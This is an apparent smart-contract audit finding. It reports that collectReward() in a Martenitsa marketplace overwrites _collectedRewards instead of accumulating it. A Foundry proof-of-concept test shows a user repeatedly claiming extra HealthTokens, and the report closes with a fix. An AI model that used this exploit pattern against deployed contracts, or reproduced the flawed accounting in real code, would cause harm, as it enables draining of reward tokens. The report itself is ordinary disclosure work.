Summary
_collectedRewards
calculation is incorrect in function collectReward()
,
_collectedRewards should accumulate all rewards that have been collected.
Vulnerability Details
function collectReward() external {
require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
@> _collectedRewards[msg.sender] = amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}
_collectedRewards
calculation is incorrect in function collectReward()
,
_collectedRewards should accumulate all rewards that have been collected.
POC:
function testCalculationIncorrectCollectReward() public eligibleForReward {
vm.startPrank(bob);
marketplace.collectReward();
vm.stopPrank();
assert(healthToken.balanceOf(bob) == 10 ** 18);
vm.startPrank(chasy);
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.createMartenitsa("bracelet");
martenitsaToken.approve(address(marketplace), 3);
martenitsaToken.approve(address(marketplace), 4);
martenitsaToken.approve(address(marketplace), 5);
marketplace.makePresent(bob, 3);
marketplace.makePresent(bob, 4);
marketplace.makePresent(bob, 5);
vm.stopPrank();
vm.prank(bob);
marketplace.collectReward();
assert(healthToken.balanceOf(bob) == 2* 10 ** 18);
for(uint256 i=0;i<10;i++){
vm.prank(bob);
marketplace.collectReward();
}
assert(healthToken.balanceOf(bob) == 12* 10 ** 18);
}
add this test function in MartenitsaMarketplace.t.sol,
then run forge test --mt testCalculationIncorrectCollectReward
Impact
High
Tools Used
Foundry
Recommendations
function collectReward() external {
require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
- _collectedRewards[msg.sender] = amountRewards;
+ _collectedRewards[msg.sender] += amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}